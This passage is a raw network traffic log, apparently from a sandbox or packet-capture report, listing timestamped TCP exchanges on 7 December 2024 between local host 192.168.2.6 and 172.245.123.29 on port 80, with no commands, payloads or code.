                                                      Dec 7, 2024 15:48:14.169657946 CET8049760172.245.123.29192.168.2.6
                                                      Dec 7, 2024 15:48:14.169759989 CET8049760172.245.123.29192.168.2.6
                                                      Dec 7, 2024 15:48:14.169837952 CET4976080192.168.2.6172.245.123.29
                                                      Dec 7, 2024 15:48:14.174549103 CET8049760172.245.123.29192.168.2.6
                                                      Dec 7, 2024 15:48:14.174618006 CET8049760172.245.123.29192.168.2.6
                                                      Dec 7, 2024 15:48:14.174685001 CET4976080192.168.2.6172.245.123.29
                                                      Dec 7, 2024 15:48:14.179379940 CET8049760172.245.123.29192.168.2.6
                                                      Dec 7, 2024 15:48:14.179514885 CET8049760172.245.123.29192.168.2.6
                                                      Dec 7, 2024 15:48:14.179599047 CET4976080192.168.2.6172.245.123.29
                                                      Dec 7, 2024 15:48:14.184267998 CET8049760172.245.123.29192.168.2.6
                                                      Dec 7, 2024 15:48:14.184391022 CET8049760172.245.123.29192.168.2.6
                                                      Dec 7, 2024 15:48:14.184479952 CET4976080192.168.2.6172.245.123.29
                                                      Dec 7, 2024 15:48:14.189135075 CET8049760172.245.123.29192.168.2.6
                                                      Dec 7, 2024 15:48:14.189495087 CET8049760172.245.123.29192.168.2.6
                                                      Dec 7, 2024 15:48:14.189584970 CET4976080192.168.2.6172.245.123.29
                                                      Dec 7, 2024 15:48:14.193968058 CET8049760172.245.123.29192.168.2.6
                                                      Dec 7, 2024 15:48:14.194114923 CET8049760172.245.123.29192.168.2.6
                                                      Dec 7, 2024 15:48:14.194194078 CET4976080192.168.2.6172.245.123.29
                                                      Dec 7, 2024 15:48:14.198909044 CET8049760172.245.123.29192.168.2.6
                                                      Dec 7, 2024 15:48:14.198921919 CET8049760172.245.123.29192.168.2.6
                                                      Dec 7, 2024 15:48:14.199003935 CET4976080192.168.2.6172.245.123.29
                                                      Dec 7, 2024 15:48:14.203758001 CET8049760172.245.123.29192.168.2.6
                                                      Dec 7, 2024 15:48:14.203850985 CET8049760172.245.123.29192.168.2.6
                                                      Dec 7, 2024 15:48:14.203931093 CET4976080192.168.2.6172.245.123.29
                                                      Dec 7, 2024 15:48:14.208669901 CET8049760172.245.123.29192.168.2.6
                                                      Dec 7, 2024 15:48:14.208735943 CET8049760172.245.123.29192.168.2.6
                                                      Dec 7, 2024 15:48:14.208852053 CET4976080192.168.2.6172.245.123.29
                                                      Dec 7, 2024 15:48:14.213474989 CET8049760172.245.123.29192.168.2.6
                                                      Dec 7, 2024 15:48:14.213599920 CET8049760172.245.123.29192.168.2.6
                                                      Dec 7, 2024 15:48:14.213682890 CET4976080192.168.2.6172.245.123.29
                                                      Dec 7, 2024 15:48:14.218327045 CET8049760172.245.123.29192.168.2.6
                                                      Dec 7, 2024 15:48:14.218404055 CET8049760172.245.123.29192.168.2.6
                                                      Dec 7, 2024 15:48:14.218482971 CET4976080192.168.2.6172.245.123.29
                                                      Dec 7, 2024 15:48:14.330585957 CET8049760172.245.123.29192.168.2.6
                                                      Dec 7, 2024 15:48:14.330727100 CET8049760172.245.123.29192.168.2.6
                                                      Dec 7, 2024 15:48:14.330827951 CET4976080192.168.2.6172.245.123.29
                                                      Dec 7, 2024 15:48:14.332906961 CET8049760172.245.123.29192.168.2.6
                                                      Dec 7, 2024 15:48:14.332997084 CET8049760172.245.123.29192.168.2.6
                                                      Dec 7, 2024 15:48:14.333072901 CET4976080192.168.2.6172.245.123.29
                                                      Dec 7, 2024 15:48:14.337456942 CET8049760172.245.123.29192.168.2.6
                                                      Dec 7, 2024 15:48:14.338660955 CET8049760172.245.123.29192.168.2.6
                                                      Dec 7, 2024 15:48:14.338732004 CET4976080192.168.2.6172.245.123.29
                                                      Dec 7, 2024 15:48:14.338766098 CET8049760172.245.123.29192.168.2.6
                                                      Dec 7, 2024 15:48:14.343205929 CET8049760172.245.123.29192.168.2.6
                                                      Dec 7, 2024 15:48:14.343286037 CET4976080192.168.2.6172.245.123.29
                                                      Dec 7, 2024 15:48:14.343349934 CET8049760172.245.123.29192.168.2.6
                                                      Dec 7, 2024 15:48:14.347560883 CET8049760172.245.123.29192.168.2.6
                                                      Dec 7, 2024 15:48:14.347614050 CET8049760172.245.123.29192.168.2.6
                                                      Dec 7, 2024 15:48:14.347639084 CET4976080192.168.2.6172.245.123.29
                                                      Dec 7, 2024 15:48:14.351852894 CET8049760172.245.123.29192.168.2.6
                                                      Dec 7, 2024 15:48:14.351927042 CET4976080192.168.2.6172.245.123.29
                                                      Dec 7, 2024 15:48:14.351957083 CET8049760172.245.123.29192.168.2.6
                                                      Dec 7, 2024 15:48:14.356255054 CET8049760172.245.123.29192.168.2.6
                                                      Dec 7, 2024 15:48:14.356332064 CET4976080192.168.2.6172.245.123.29
                                                      Dec 7, 2024 15:48:14.356363058 CET8049760172.245.123.29192.168.2.6
                                                      Dec 7, 2024 15:48:14.364497900 CET8049760172.245.123.29192.168.2.6
                                                      Dec 7, 2024 15:48:14.364590883 CET4976080192.168.2.6172.245.123.29
                                                      Dec 7, 2024 15:48:14.364670992 CET8049760172.245.123.29192.168.2.6
                                                      Dec 7, 2024 15:48:14.367728949 CET8049760172.245.123.29192.168.2.6
                                                      Dec 7, 2024 15:48:14.367743015 CET8049760172.245.123.29192.168.2.6
                                                      Dec 7, 2024 15:48:14.367815971 CET4976080192.168.2.6172.245.123.29
                                                      Dec 7, 2024 15:48:14.369261026 CET8049760172.245.123.29192.168.2.6
                                                      Dec 7, 2024 15:48:14.369275093 CET8049760172.245.123.29192.168.2.6
                                                      Dec 7, 2024 15:48:14.369345903 CET4976080192.168.2.6172.245.123.29
                                                      Dec 7, 2024 15:48:14.373383045 CET8049760172.245.123.29192.168.2.6
                                                      Dec 7, 2024 15:48:14.373394012 CET8049760172.245.123.29192.168.2.6
                                                      Dec 7, 2024 15:48:14.373503923 CET4976080192.168.2.6172.245.123.29
                                                      Dec 7, 2024 15:48:14.377163887 CET8049760172.245.123.29192.168.2.6
                                                      Dec 7, 2024 15:48:14.377177954 CET8049760172.245.123.29192.168.2.6
                                                      Dec 7, 2024 15:48:14.377290964 CET4976080192.168.2.6172.245.123.29
                                                      Dec 7, 2024 15:48:14.380920887 CET8049760172.245.123.29192.168.2.6
                                                      Dec 7, 2024 15:48:14.381009102 CET4976080192.168.2.6172.245.123.29
                                                      Dec 7, 2024 15:48:14.381043911 CET8049760172.245.123.29192.168.2.6
                                                      Dec 7, 2024 15:48:14.385099888 CET8049760172.245.123.29192.168.2.6
                                                      Dec 7, 2024 15:48:14.385242939 CET8049760172.245.123.29192.168.2.6
                                                      Dec 7, 2024 15:48:14.385319948 CET4976080192.168.2.6172.245.123.29
                                                      Dec 7, 2024 15:48:14.389172077 CET8049760172.245.123.29192.168.2.6
                                                      Dec 7, 2024 15:48:14.389220953 CET4976080192.168.2.6172.245.123.29
                                                      Dec 7, 2024 15:48:14.389318943 CET8049760172.245.123.29192.168.2.6
                                                      Dec 7, 2024 15:48:14.393090963 CET8049760172.245.123.29192.168.2.6
                                                      Dec 7, 2024 15:48:14.393138885 CET4976080192.168.2.6172.245.123.29
                                                      Dec 7, 2024 15:48:14.393280983 CET8049760172.245.123.29192.168.2.6
                                                      Dec 7, 2024 15:48:14.397175074 CET8049760172.245.123.29192.168.2.6
                                                      Dec 7, 2024 15:48:14.397190094 CET8049760172.245.123.29192.168.2.6
                                                      Dec 7, 2024 15:48:14.397222042 CET4976080192.168.2.6172.245.123.29
                                                      Dec 7, 2024 15:48:14.400142908 CET8049760172.245.123.29192.168.2.6
                                                      Dec 7, 2024 15:48:14.400155067 CET8049760172.245.123.29192.168.2.6
                                                      Dec 7, 2024 15:48:14.400193930 CET4976080192.168.2.6172.245.123.29
                                                      Dec 7, 2024 15:48:14.402431965 CET8049760172.245.123.29192.168.2.6
                                                      Dec 7, 2024 15:48:14.402476072 CET4976080192.168.2.6172.245.123.29
                                                      Dec 7, 2024 15:48:14.402484894 CET8049760172.245.123.29192.168.2.6
                                                      Dec 7, 2024 15:48:14.405740976 CET8049760172.245.123.29192.168.2.6
                                                      Dec 7, 2024 15:48:14.405785084 CET8049760172.245.123.29192.168.2.6
                                                      Dec 7, 2024 15:48:14.405834913 CET4976080192.168.2.6172.245.123.29
                                                      Dec 7, 2024 15:48:14.408209085 CET8049760172.245.123.29192.168.2.6
                                                      Dec 7, 2024 15:48:14.408312082 CET8049760172.245.123.29192.168.2.6
                                                      Dec 7, 2024 15:48:14.408366919 CET4976080192.168.2.6172.245.123.29
                                                      Dec 7, 2024 15:48:14.411798954 CET8049760172.245.123.29192.168.2.6
                                                      Dec 7, 2024 15:48:14.411859035 CET4976080192.168.2.6172.245.123.29
                                                      Dec 7, 2024 15:48:14.412200928 CET8049760172.245.123.29192.168.2.6
                                                      Dec 7, 2024 15:48:14.416568995 CET8049760172.245.123.29192.168.2.6
                                                      Dec 7, 2024 15:48:14.416615009 CET4976080192.168.2.6172.245.123.29
                                                      Dec 7, 2024 15:48:14.416728020 CET8049760172.245.123.29192.168.2.6
                                                      Dec 7, 2024 15:48:14.420351028 CET8049760172.245.123.29192.168.2.6
                                                      Dec 7, 2024 15:48:14.420396090 CET4976080192.168.2.6172.245.123.29
                                                      Dec 7, 2024 15:48:14.420502901 CET8049760172.245.123.29192.168.2.6
                                                      Dec 7, 2024 15:48:14.423898935 CET8049760172.245.123.29192.168.2.6
                                                      Dec 7, 2024 15:48:14.423940897 CET4976080192.168.2.6172.245.123.29
                                                      Dec 7, 2024 15:48:14.424350977 CET8049760172.245.123.29192.168.2.6
                                                      Dec 7, 2024 15:48:14.427490950 CET8049760172.245.123.29192.168.2.6
                                                      Dec 7, 2024 15:48:14.427536964 CET4976080192.168.2.6172.245.123.29
                                                      Dec 7, 2024 15:48:14.427795887 CET8049760172.245.123.29192.168.2.6
                                                      Dec 7, 2024 15:48:14.431237936 CET8049760172.245.123.29192.168.2.6
                                                      Dec 7, 2024 15:48:14.431277990 CET4976080192.168.2.6172.245.123.29
                                                      Dec 7, 2024 15:48:14.431372881 CET8049760172.245.123.29192.168.2.6
                                                      Dec 7, 2024 15:48:14.434943914 CET8049760172.245.123.29192.168.2.6
                                                      Dec 7, 2024 15:48:14.434956074 CET8049760172.245.123.29192.168.2.6
                                                      Dec 7, 2024 15:48:14.435002089 CET4976080192.168.2.6172.245.123.29
                                                      Dec 7, 2024 15:48:14.438538074 CET8049760172.245.123.29192.168.2.6
                                                      Dec 7, 2024 15:48:14.438549995 CET8049760172.245.123.29192.168.2.6
                                                      Dec 7, 2024 15:48:14.438589096 CET4976080192.168.2.6172.245.123.29
                                                      Dec 7, 2024 15:48:14.442253113 CET8049760172.245.123.29192.168.2.6
                                                      Dec 7, 2024 15:48:14.442297935 CET4976080192.168.2.6172.245.123.29
                                                      Dec 7, 2024 15:48:14.442421913 CET8049760172.245.123.29192.168.2.6
                                                      Dec 7, 2024 15:48:14.445836067 CET8049760172.245.123.29192.168.2.6
                                                      Dec 7, 2024 15:48:14.445847034 CET8049760172.245.123.29192.168.2.6
                                                      Dec 7, 2024 15:48:14.445900917 CET4976080192.168.2.6172.245.123.29
                                                      Dec 7, 2024 15:48:14.449445963 CET8049760172.245.123.29192.168.2.6
                                                      Dec 7, 2024 15:48:14.449489117 CET4976080192.168.2.6172.245.123.29
                                                      Dec 7, 2024 15:48:14.449620962 CET8049760172.245.123.29192.168.2.6
                                                      Dec 7, 2024 15:48:14.451797962 CET8049760172.245.123.29192.168.2.6
                                                      Dec 7, 2024 15:48:14.451848984 CET4976080192.168.2.6172.245.123.29
                                                      Dec 7, 2024 15:48:14.451932907 CET8049760172.245.123.29192.168.2.6
                                                      Dec 7, 2024 15:48:14.456762075 CET8049760172.245.123.29192.168.2.6
                                                      Dec 7, 2024 15:48:14.456816912 CET4976080192.168.2.6172.245.123.29
                                                      Dec 7, 2024 15:48:14.522917032 CET8049760172.245.123.29192.168.2.6
                                                      Dec 7, 2024 15:48:14.522969007 CET8049760172.245.123.29192.168.2.6
                                                      Dec 7, 2024 15:48:14.523051023 CET4976080192.168.2.6172.245.123.29
                                                      Dec 7, 2024 15:48:14.524652004 CET8049760172.245.123.29192.168.2.6
                                                      Dec 7, 2024 15:48:14.524784088 CET8049760172.245.123.29192.168.2.6
                                                      Dec 7, 2024 15:48:14.524846077 CET4976080192.168.2.6172.245.123.29
                                                      Dec 7, 2024 15:48:14.527986050 CET8049760172.245.123.29192.168.2.6
                                                      Dec 7, 2024 15:48:14.528090000 CET8049760172.245.123.29192.168.2.6
                                                      Dec 7, 2024 15:48:14.528151989 CET4976080192.168.2.6172.245.123.29
                                                      Dec 7, 2024 15:48:14.531388998 CET8049760172.245.123.29192.168.2.6
                                                      Dec 7, 2024 15:48:14.531413078 CET8049760172.245.123.29192.168.2.6
                                                      Dec 7, 2024 15:48:14.531472921 CET4976080192.168.2.6172.245.123.29
                                                      Dec 7, 2024 15:48:14.534668922 CET8049760172.245.123.29192.168.2.6
                                                      Dec 7, 2024 15:48:14.534756899 CET8049760172.245.123.29192.168.2.6
                                                      Dec 7, 2024 15:48:14.534811974 CET4976080192.168.2.6172.245.123.29
                                                      Dec 7, 2024 15:48:14.537935972 CET8049760172.245.123.29192.168.2.6
                                                      Dec 7, 2024 15:48:14.538013935 CET8049760172.245.123.29192.168.2.6
                                                      Dec 7, 2024 15:48:14.538077116 CET4976080192.168.2.6172.245.123.29
                                                      Dec 7, 2024 15:48:14.541045904 CET8049760172.245.123.29192.168.2.6
                                                      Dec 7, 2024 15:48:14.541182995 CET8049760172.245.123.29192.168.2.6
                                                      Dec 7, 2024 15:48:14.541224957 CET4976080192.168.2.6172.245.123.29
                                                      Dec 7, 2024 15:48:14.544162035 CET8049760172.245.123.29192.168.2.6
                                                      Dec 7, 2024 15:48:14.544323921 CET8049760172.245.123.29192.168.2.6
                                                      Dec 7, 2024 15:48:14.544367075 CET4976080192.168.2.6172.245.123.29
                                                      Dec 7, 2024 15:48:14.547127008 CET8049760172.245.123.29192.168.2.6
                                                      Dec 7, 2024 15:48:14.547250986 CET8049760172.245.123.29192.168.2.6
                                                      Dec 7, 2024 15:48:14.547302008 CET4976080192.168.2.6172.245.123.29
                                                      Dec 7, 2024 15:48:14.550158978 CET8049760172.245.123.29192.168.2.6
                                                      Dec 7, 2024 15:48:14.550250053 CET8049760172.245.123.29192.168.2.6
                                                      Dec 7, 2024 15:48:14.550295115 CET4976080192.168.2.6172.245.123.29
                                                      Dec 7, 2024 15:48:14.553215027 CET8049760172.245.123.29192.168.2.6
                                                      Dec 7, 2024 15:48:14.553381920 CET8049760172.245.123.29192.168.2.6
                                                      Dec 7, 2024 15:48:14.553426981 CET4976080192.168.2.6172.245.123.29
                                                      Dec 7, 2024 15:48:14.556291103 CET8049760172.245.123.29192.168.2.6
                                                      Dec 7, 2024 15:48:14.556339025 CET8049760172.245.123.29192.168.2.6
                                                      Dec 7, 2024 15:48:14.556386948 CET4976080192.168.2.6172.245.123.29
                                                      Dec 7, 2024 15:48:14.559165001 CET8049760172.245.123.29192.168.2.6
                                                      Dec 7, 2024 15:48:14.559283018 CET8049760172.245.123.29192.168.2.6
                                                      Dec 7, 2024 15:48:14.559340000 CET4976080192.168.2.6172.245.123.29
                                                      Dec 7, 2024 15:48:14.562125921 CET8049760172.245.123.29192.168.2.6
                                                      Dec 7, 2024 15:48:14.562220097 CET8049760172.245.123.29192.168.2.6
                                                      Dec 7, 2024 15:48:14.562263966 CET4976080192.168.2.6172.245.123.29
                                                      Dec 7, 2024 15:48:14.565174103 CET8049760172.245.123.29192.168.2.6
                                                      Dec 7, 2024 15:48:14.565366030 CET8049760172.245.123.29192.168.2.6
                                                      Dec 7, 2024 15:48:14.565409899 CET4976080192.168.2.6172.245.123.29
                                                      Dec 7, 2024 15:48:14.568233013 CET8049760172.245.123.29192.168.2.6
                                                      Dec 7, 2024 15:48:14.568305016 CET8049760172.245.123.29192.168.2.6
                                                      Dec 7, 2024 15:48:14.568347931 CET4976080192.168.2.6172.245.123.29
                                                      Dec 7, 2024 15:48:14.571249962 CET8049760172.245.123.29192.168.2.6
                                                      Dec 7, 2024 15:48:14.571357012 CET8049760172.245.123.29192.168.2.6
                                                      Dec 7, 2024 15:48:14.571403027 CET4976080192.168.2.6172.245.123.29
                                                      Dec 7, 2024 15:48:14.574142933 CET8049760172.245.123.29192.168.2.6
                                                      Dec 7, 2024 15:48:14.574210882 CET8049760172.245.123.29192.168.2.6
                                                      Dec 7, 2024 15:48:14.574256897 CET4976080192.168.2.6172.245.123.29
                                                      Dec 7, 2024 15:48:14.577214956 CET8049760172.245.123.29192.168.2.6
                                                      Dec 7, 2024 15:48:14.577317953 CET8049760172.245.123.29192.168.2.6
                                                      Dec 7, 2024 15:48:14.577368975 CET4976080192.168.2.6172.245.123.29
                                                      Dec 7, 2024 15:48:14.580393076 CET8049760172.245.123.29192.168.2.6
                                                      Dec 7, 2024 15:48:14.580405951 CET8049760172.245.123.29192.168.2.6
                                                      Dec 7, 2024 15:48:14.580449104 CET4976080192.168.2.6172.245.123.29
                                                      Dec 7, 2024 15:48:14.583133936 CET8049760172.245.123.29192.168.2.6
                                                      Dec 7, 2024 15:48:14.583188057 CET8049760172.245.123.29192.168.2.6
                                                      Dec 7, 2024 15:48:14.583235025 CET4976080192.168.2.6172.245.123.29
                                                      Dec 7, 2024 15:48:14.585627079 CET8049760172.245.123.29192.168.2.6
                                                      Dec 7, 2024 15:48:14.585796118 CET8049760172.245.123.29192.168.2.6
                                                      Dec 7, 2024 15:48:14.585849047 CET4976080192.168.2.6172.245.123.29
                                                      Dec 7, 2024 15:48:14.588150024 CET8049760172.245.123.29192.168.2.6
                                                      Dec 7, 2024 15:48:14.588211060 CET8049760172.245.123.29192.168.2.6
                                                      Dec 7, 2024 15:48:14.588254929 CET4976080192.168.2.6172.245.123.29
                                                      Dec 7, 2024 15:48:14.590600967 CET8049760172.245.123.29192.168.2.6
                                                      Dec 7, 2024 15:48:14.590708017 CET8049760172.245.123.29192.168.2.6
                                                      Dec 7, 2024 15:48:14.590750933 CET4976080192.168.2.6172.245.123.29
                                                      Dec 7, 2024 15:48:14.593010902 CET8049760172.245.123.29192.168.2.6
                                                      Dec 7, 2024 15:48:14.593024015 CET8049760172.245.123.29192.168.2.6
                                                      Dec 7, 2024 15:48:14.593080044 CET4976080192.168.2.6172.245.123.29
                                                      Dec 7, 2024 15:48:14.595439911 CET8049760172.245.123.29192.168.2.6
                                                      Dec 7, 2024 15:48:14.595531940 CET8049760172.245.123.29192.168.2.6
                                                      Dec 7, 2024 15:48:14.595590115 CET4976080192.168.2.6172.245.123.29
                                                      Dec 7, 2024 15:48:14.597886086 CET8049760172.245.123.29192.168.2.6
                                                      Dec 7, 2024 15:48:14.597954035 CET8049760172.245.123.29192.168.2.6
                                                      Dec 7, 2024 15:48:14.598010063 CET4976080192.168.2.6172.245.123.29
                                                      Dec 7, 2024 15:48:14.600359917 CET8049760172.245.123.29192.168.2.6
                                                      Dec 7, 2024 15:48:14.600449085 CET8049760172.245.123.29192.168.2.6
                                                      Dec 7, 2024 15:48:14.600496054 CET4976080192.168.2.6172.245.123.29
                                                      Dec 7, 2024 15:48:14.602767944 CET8049760172.245.123.29192.168.2.6
                                                      Dec 7, 2024 15:48:14.602879047 CET8049760172.245.123.29192.168.2.6
                                                      Dec 7, 2024 15:48:14.602921009 CET4976080192.168.2.6172.245.123.29
                                                      Dec 7, 2024 15:48:14.605225086 CET8049760172.245.123.29192.168.2.6
                                                      Dec 7, 2024 15:48:14.605317116 CET8049760172.245.123.29192.168.2.6
                                                      Dec 7, 2024 15:48:14.605359077 CET4976080192.168.2.6172.245.123.29
                                                      Dec 7, 2024 15:48:14.607781887 CET8049760172.245.123.29192.168.2.6
                                                      Dec 7, 2024 15:48:14.607836962 CET8049760172.245.123.29192.168.2.6
                                                      Dec 7, 2024 15:48:14.607882023 CET4976080192.168.2.6172.245.123.29
                                                      Dec 7, 2024 15:48:14.610080957 CET8049760172.245.123.29192.168.2.6
                                                      Dec 7, 2024 15:48:14.610153913 CET8049760172.245.123.29192.168.2.6
                                                      Dec 7, 2024 15:48:14.610212088 CET4976080192.168.2.6172.245.123.29
                                                      Dec 7, 2024 15:48:14.612591982 CET8049760172.245.123.29192.168.2.6
                                                      Dec 7, 2024 15:48:14.612628937 CET8049760172.245.123.29192.168.2.6
                                                      Dec 7, 2024 15:48:14.612677097 CET4976080192.168.2.6172.245.123.29
                                                      Dec 7, 2024 15:48:14.614950895 CET8049760172.245.123.29192.168.2.6
                                                      Dec 7, 2024 15:48:14.615082026 CET8049760172.245.123.29192.168.2.6
                                                      Dec 7, 2024 15:48:14.615128040 CET4976080192.168.2.6172.245.123.29
                                                      Dec 7, 2024 15:48:14.617414951 CET8049760172.245.123.29192.168.2.6
                                                      Dec 7, 2024 15:48:14.617530107 CET8049760172.245.123.29192.168.2.6
                                                      Dec 7, 2024 15:48:14.617573977 CET4976080192.168.2.6172.245.123.29
                                                      Dec 7, 2024 15:48:14.619839907 CET8049760172.245.123.29192.168.2.6
                                                      Dec 7, 2024 15:48:14.619941950 CET8049760172.245.123.29192.168.2.6
                                                      Dec 7, 2024 15:48:14.619987011 CET4976080192.168.2.6172.245.123.29
                                                      Dec 7, 2024 15:48:14.622287035 CET8049760172.245.123.29192.168.2.6
                                                      Dec 7, 2024 15:48:14.622376919 CET8049760172.245.123.29192.168.2.6
                                                      Dec 7, 2024 15:48:14.622422934 CET4976080192.168.2.6172.245.123.29
                                                      Dec 7, 2024 15:48:14.624775887 CET8049760172.245.123.29192.168.2.6
                                                      Dec 7, 2024 15:48:14.624840021 CET8049760172.245.123.29192.168.2.6
                                                      Dec 7, 2024 15:48:14.624885082 CET4976080192.168.2.6172.245.123.29
                                                      Dec 7, 2024 15:48:14.627151966 CET8049760172.245.123.29192.168.2.6
                                                      Dec 7, 2024 15:48:14.627348900 CET8049760172.245.123.29192.168.2.6
                                                      Dec 7, 2024 15:48:14.627391100 CET4976080192.168.2.6172.245.123.29
                                                      Dec 7, 2024 15:48:14.629640102 CET8049760172.245.123.29192.168.2.6
                                                      Dec 7, 2024 15:48:14.629722118 CET8049760172.245.123.29192.168.2.6
                                                      Dec 7, 2024 15:48:14.629762888 CET4976080192.168.2.6172.245.123.29
                                                      Dec 7, 2024 15:48:14.632072926 CET8049760172.245.123.29192.168.2.6
                                                      Dec 7, 2024 15:48:14.632153988 CET8049760172.245.123.29192.168.2.6
                                                      Dec 7, 2024 15:48:14.632195950 CET4976080192.168.2.6172.245.123.29
                                                      Dec 7, 2024 15:48:14.634469986 CET8049760172.245.123.29192.168.2.6
                                                      Dec 7, 2024 15:48:14.634536028 CET8049760172.245.123.29192.168.2.6
                                                      Dec 7, 2024 15:48:14.634576082 CET4976080192.168.2.6172.245.123.29
                                                      Dec 7, 2024 15:48:14.636950970 CET8049760172.245.123.29192.168.2.6
                                                      Dec 7, 2024 15:48:14.637042999 CET8049760172.245.123.29192.168.2.6
                                                      Dec 7, 2024 15:48:14.637084007 CET4976080192.168.2.6172.245.123.29
                                                      Dec 7, 2024 15:48:14.639363050 CET8049760172.245.123.29192.168.2.6
                                                      Dec 7, 2024 15:48:14.639499903 CET8049760172.245.123.29192.168.2.6
                                                      Dec 7, 2024 15:48:14.639542103 CET4976080192.168.2.6172.245.123.29
                                                      Dec 7, 2024 15:48:14.641911983 CET8049760172.245.123.29192.168.2.6
                                                      Dec 7, 2024 15:48:14.641980886 CET8049760172.245.123.29192.168.2.6
                                                      Dec 7, 2024 15:48:14.642023087 CET4976080192.168.2.6172.245.123.29
                                                      Dec 7, 2024 15:48:14.644367933 CET8049760172.245.123.29192.168.2.6
                                                      Dec 7, 2024 15:48:14.644397020 CET8049760172.245.123.29192.168.2.6
                                                      Dec 7, 2024 15:48:14.644435883 CET4976080192.168.2.6172.245.123.29
                                                      Dec 7, 2024 15:48:14.647248030 CET8049760172.245.123.29192.168.2.6
                                                      Dec 7, 2024 15:48:14.647325039 CET8049760172.245.123.29192.168.2.6
                                                      Dec 7, 2024 15:48:14.647366047 CET4976080192.168.2.6172.245.123.29
                                                      Dec 7, 2024 15:48:14.649131060 CET8049760172.245.123.29192.168.2.6
                                                      Dec 7, 2024 15:48:14.649209976 CET8049760172.245.123.29192.168.2.6
                                                      Dec 7, 2024 15:48:14.649250031 CET4976080192.168.2.6172.245.123.29
                                                      Dec 7, 2024 15:48:14.651546955 CET8049760172.245.123.29192.168.2.6
                                                      Dec 7, 2024 15:48:14.651635885 CET8049760172.245.123.29192.168.2.6
                                                      Dec 7, 2024 15:48:14.651676893 CET4976080192.168.2.6172.245.123.29
                                                      Dec 7, 2024 15:48:14.654016972 CET8049760172.245.123.29192.168.2.6
                                                      Dec 7, 2024 15:48:14.654202938 CET8049760172.245.123.29192.168.2.6
                                                      Dec 7, 2024 15:48:14.654272079 CET4976080192.168.2.6172.245.123.29
                                                      Dec 7, 2024 15:48:14.656399012 CET8049760172.245.123.29192.168.2.6
                                                      Dec 7, 2024 15:48:14.700009108 CET4976080192.168.2.6172.245.123.29
                                                      Dec 7, 2024 15:48:14.715126991 CET8049760172.245.123.29192.168.2.6
                                                      Dec 7, 2024 15:48:14.715307951 CET8049760172.245.123.29192.168.2.6
                                                      Dec 7, 2024 15:48:14.715348005 CET4976080192.168.2.6172.245.123.29
                                                      Dec 7, 2024 15:48:14.716006994 CET8049760172.245.123.29192.168.2.6
                                                      Dec 7, 2024 15:48:14.716120958 CET8049760172.245.123.29192.168.2.6
                                                      Dec 7, 2024 15:48:14.716162920 CET4976080192.168.2.6172.245.123.29
                                                      Dec 7, 2024 15:48:14.717875004 CET8049760172.245.123.29192.168.2.6
                                                      Dec 7, 2024 15:48:14.718565941 CET8049760172.245.123.29192.168.2.6
                                                      Dec 7, 2024 15:48:14.718602896 CET4976080192.168.2.6172.245.123.29
                                                      Dec 7, 2024 15:48:14.718666077 CET8049760172.245.123.29192.168.2.6
                                                      Dec 7, 2024 15:48:14.720464945 CET8049760172.245.123.29192.168.2.6
                                                      Dec 7, 2024 15:48:14.720516920 CET4976080192.168.2.6172.245.123.29
                                                      Dec 7, 2024 15:48:14.720547915 CET8049760172.245.123.29192.168.2.6
                                                      Dec 7, 2024 15:48:14.722436905 CET8049760172.245.123.29192.168.2.6
                                                      Dec 7, 2024 15:48:14.722481012 CET4976080192.168.2.6172.245.123.29
                                                      Dec 7, 2024 15:48:14.722495079 CET8049760172.245.123.29192.168.2.6
                                                      Dec 7, 2024 15:48:14.724260092 CET8049760172.245.123.29192.168.2.6
                                                      Dec 7, 2024 15:48:14.724309921 CET8049760172.245.123.29192.168.2.6
                                                      Dec 7, 2024 15:48:14.724311113 CET4976080192.168.2.6172.245.123.29
                                                      Dec 7, 2024 15:48:14.726144075 CET8049760172.245.123.29192.168.2.6
                                                      Dec 7, 2024 15:48:14.726176977 CET4976080192.168.2.6172.245.123.29
                                                      Dec 7, 2024 15:48:14.726238012 CET8049760172.245.123.29192.168.2.6
                                                      Dec 7, 2024 15:48:14.728121996 CET8049760172.245.123.29192.168.2.6
                                                      Dec 7, 2024 15:48:14.728156090 CET4976080192.168.2.6172.245.123.29
                                                      Dec 7, 2024 15:48:14.728218079 CET8049760172.245.123.29192.168.2.6
                                                      Dec 7, 2024 15:48:14.729887009 CET8049760172.245.123.29192.168.2.6
                                                      Dec 7, 2024 15:48:14.729927063 CET4976080192.168.2.6172.245.123.29
                                                      Dec 7, 2024 15:48:14.729980946 CET8049760172.245.123.29192.168.2.6
                                                      Dec 7, 2024 15:48:14.731746912 CET8049760172.245.123.29192.168.2.6
                                                      Dec 7, 2024 15:48:14.731796026 CET4976080192.168.2.6172.245.123.29
                                                      Dec 7, 2024 15:48:14.731827974 CET8049760172.245.123.29192.168.2.6
                                                      Dec 7, 2024 15:48:14.733654022 CET8049760172.245.123.29192.168.2.6
                                                      Dec 7, 2024 15:48:14.733694077 CET4976080192.168.2.6172.245.123.29
                                                      Dec 7, 2024 15:48:14.733788013 CET8049760172.245.123.29192.168.2.6
                                                      Dec 7, 2024 15:48:14.735510111 CET8049760172.245.123.29192.168.2.6
                                                      Dec 7, 2024 15:48:14.735543966 CET4976080192.168.2.6172.245.123.29
                                                      Dec 7, 2024 15:48:14.735615015 CET8049760172.245.123.29192.168.2.6
                                                      Dec 7, 2024 15:48:14.737390041 CET8049760172.245.123.29192.168.2.6
                                                      Dec 7, 2024 15:48:14.737428904 CET4976080192.168.2.6172.245.123.29
                                                      Dec 7, 2024 15:48:14.737476110 CET8049760172.245.123.29192.168.2.6
                                                      Dec 7, 2024 15:48:14.739259005 CET8049760172.245.123.29192.168.2.6
                                                      Dec 7, 2024 15:48:14.739305973 CET4976080192.168.2.6172.245.123.29
                                                      Dec 7, 2024 15:48:14.739342928 CET8049760172.245.123.29192.168.2.6
                                                      Dec 7, 2024 15:48:14.741116047 CET8049760172.245.123.29192.168.2.6
                                                      Dec 7, 2024 15:48:14.741152048 CET8049760172.245.123.29192.168.2.6
                                                      Dec 7, 2024 15:48:14.741156101 CET4976080192.168.2.6172.245.123.29
                                                      Dec 7, 2024 15:48:14.743021965 CET8049760172.245.123.29192.168.2.6
                                                      Dec 7, 2024 15:48:14.743062019 CET4976080192.168.2.6172.245.123.29
                                                      Dec 7, 2024 15:48:14.743065119 CET8049760172.245.123.29192.168.2.6
                                                      Dec 7, 2024 15:48:14.744935989 CET8049760172.245.123.29192.168.2.6
                                                      Dec 7, 2024 15:48:14.744975090 CET4976080192.168.2.6172.245.123.29
                                                      Dec 7, 2024 15:48:14.744987011 CET8049760172.245.123.29192.168.2.6
                                                      Dec 7, 2024 15:48:14.746767998 CET8049760172.245.123.29192.168.2.6
